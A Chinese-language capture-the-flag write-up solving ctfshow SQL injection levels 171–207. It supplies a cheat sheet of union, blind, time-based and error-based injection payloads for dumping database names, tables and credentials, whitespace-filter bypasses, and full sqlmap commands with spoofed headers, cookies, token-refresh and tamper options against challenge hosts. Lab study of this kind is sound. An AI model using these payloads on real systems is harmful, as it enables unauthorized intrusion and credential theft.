文章目录
- SQL注入基本流程
- [web 171------正常联合查询](#web 171——正常联合查询)
- [web 172------查看源代码、联合查询](#web 172——查看源代码、联合查询)
- [web 173------查看源代码、联合查询](#web 173——查看源代码、联合查询)
- [web 174------布尔盲注](#web 174——布尔盲注)
- [web 176](#web 176)
- [web 177------过滤空格](#web 177——过滤空格)
- [web 178------过滤空格](#web 178——过滤空格)
- [web 179------过滤空格](#web 179——过滤空格)
- [web 180------过滤空格](#web 180——过滤空格)
- [web 181](#web 181)
- [web 182](#web 182)
- [web 201------referer、user-agent](#web 201——referer、user-agent)
- [web 202------data](#web 202——data)
- [web 203------method、headers](#web 203——method、headers)
- [web 204------cookie](#web 204——cookie)
- [web 205------鉴权](#web 205——鉴权)
- [web 206------前后闭合](#web 206——前后闭合)
- [web 207------tamper、过滤空格](#web 207——tamper、过滤空格)
SQL注入基本流程
普通SQL注入
php
id=1' //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1 order by <数字> # //判断字段数
id=1 and 1=2 union select 1,2,3, ... # //查看回显点
id=1 and 1=2 union select 1,2,database(), ... # //查看数据库名
id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') # //查看表名
id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') # //查看字段名
id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) # //查看字段内容
使用
union select
的时候,需要使前面一条语句错误。关于注释符
#
、-- (有个空格)
和--+
的讨论
- get请求中只能用
--+
。
url中#
是用来指导浏览器动作的,对服务器端无效;在url传输过程中,--
中的空格会被忽略。- post请求中则都可以。
布尔盲注
php
id=1' //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1 and length(database())=1 # //判断数据库名长度
id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母
时间盲注
php
id=1 and sleep(5) # //数字型则等待5秒
id=1' and sleep(5) # //字符型则等待5秒
id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母
报错注入------extractvalue()
php
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容
进行报错注入的时候,需要对
id
参数进行闭合。
报错注入------updataxml()
php
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容
Sqlmap的用法
php
sqlmap
sqlmap -u "url" //-u选项是检测注入点
sqlmap -u "url" --dbs //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库 --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名 --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段 --dump是列出字段内容
web 171------正常联合查询
首先判断是否存在SQL注入:
php
id=1' # 使用单引号看报不报错,报错就说明存在SQL注入
php
id=1' order by 3 --+
注意:如果
id='1--+'
,这里面的注释(--+
)是不起效的。
php
id=-1' union select 1,2,3 --+ # union前面的查询语句必须为false,这样页面才会显示出第二个select语句的结果。
php
-1' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user') --+ # 查看数据库名、表名、字段名
php
-1' union select 1,2,(select group_concat(concat(username,'%23',password)) from ctfshow_web.ctfshow_user) --+ # 查看字段内容
web 172------查看源代码、联合查询
查看页面源代码,发现一个js文件。访问该文件,会发现一个查询接口/api?id=1
php
id=1' //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //正确,说明不是数字型注入
id=1' and 1=1 # 正确
id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
id=1' order by <数字> # //判断字段数
id=-1' union select 1,2,3, ... # //查看回显点
id=-1' union select 1,2,database(), ... # //查看数据库名
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') # //查看表名
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') # //查看字段名
id=-1' union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) # //查看字段内容
注意:关于
and 1=1
和and 1=2
,前者恒为真,如果and前面的语句有内容,则正常输出;后者恒为假,如果and前面的语句有内容,也不会输出。故,可以通过他们俩来判断SQL注入类型。
web 173------查看源代码、联合查询
同web172
web 174------布尔盲注
php
id=1' //判断是否存在SQL注入
id=1 and 1=1 # //正确
id=1 and 1=2 # //正确,说明不是数字型注入
id=1' and 1=1 # //正确
id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
id =1' and length(database())=11 --+ //通过布尔盲注猜测数据库长度
web 176
php
1' or 1=1 --+
web 177------过滤空格
空格被过滤,就用/**/
替换。
web 178------过滤空格
空格被过滤,/**/
也用不了,用%09
或%0b
替换。
web 179------过滤空格
空格被过滤,/**/
、%09
或%0b
也用不了,用%0c
替换。
web 180------过滤空格
空格被过滤,/**/
、+
、%09
或%0b
也用不了,用%0c
或%2b
(+的url编码)替换。
web 181
payload: 0'or(username='flag')and'1
,插入payload后语句变成:
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag')and'1' limit 1;
- 因为
and
的优先级比or
要高,故注入后:
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag') limit 1;
- 前面满足条件
id=0
的记录不存在,故该语句可简化为
select id,username,password from ctfshow_user where (0) or(username='flag')and'1' limit 1;
- 先计算
and
,再计算or
,最后得到满足username='flag'
的记录,即flag
。
web 182
payload: -1'or(username%0clike%0c'%fla%')and%0c'1
。不知道为啥这里%0c没有被过滤。
web 201------referer、user-agent
这一关开始使用sqlmap。
User-Agent
需要为sqlmap
,referer
需要为stf.show
。
一种方法是抓取数据包,让sqlmap跑数据包;另一种方法是用-u
参数指定要测试的网址,--user-agent
用来指定UA头,--referer
伪造referer。命令如下:
php
python sqlmap.py -r test.txt //跑数据包
python sqlmap.py -u "http://6e28402d-8f54-45bc-8a52-657ffc3c35fe.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show
- 跑数据包的时候,在需要跑的参数后面加
*
。-u
参数中,链接用双引号、加上协议。
web 202------data
--data
指定 sqlmap 以 post
方式提交数据。
php
python sqlmap.py -u "https://604a8386-7689-44bb-a7e1-b532cbe9ff5a.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show
web 203------method、headers
--method=put
:更改http请求方式为put,put请求用于向服务器更新指定资源。--headers
用来告诉服务器这次传输的数据格式。
php
python sqlmap.py -u "http://a8e2bd07-1e16-4e83-9752-5634117000e4.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --header="Content-Type:text/plain"
web 204------cookie
--cookie
:在请求头中添加cookie字段。
php
python sqlmap.py -u "http://5c93dea2-8127-4efb-915b-7564efdc6107.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=jc9bhjq7q61trcapiu02gm6430; ctfshow=124cf7ab13ecc64b6e21a9de8cdb8511"
要将url链接写完整,index.php都要加上!!!
web 205------鉴权
这一关在正式查询之前,会先访问/api/getToken.php
进行鉴权。--safe-url=SAFEURL
:设置在测试目标地址前访问的安全链接。--safe-freq=1
:每次测试请求之后都会访问一下的安全 URL。
php
python sqlmap.py -u "http://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=vlqa3pc2obqitu6addelltlqj7" --safe-url="http://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/getToken.php" --safe-freq=1
web 206------前后闭合
这一关需要闭合前面的('
,所以--prefic="')"
闭合('
;--suffic="#"
注释掉查询语句后面的部分。
php
python sqlmap.py -u "http://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=ggtmp49c0gjq9fihihrhkij83m" --safe-url="http://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#"
web 207------tamper、过滤空格
过滤空格
php
python sqlmap.py -u "http://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=43010km376i0fhhmsn6lopr3r3" --safe-url="http://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#" --tamper=space2comment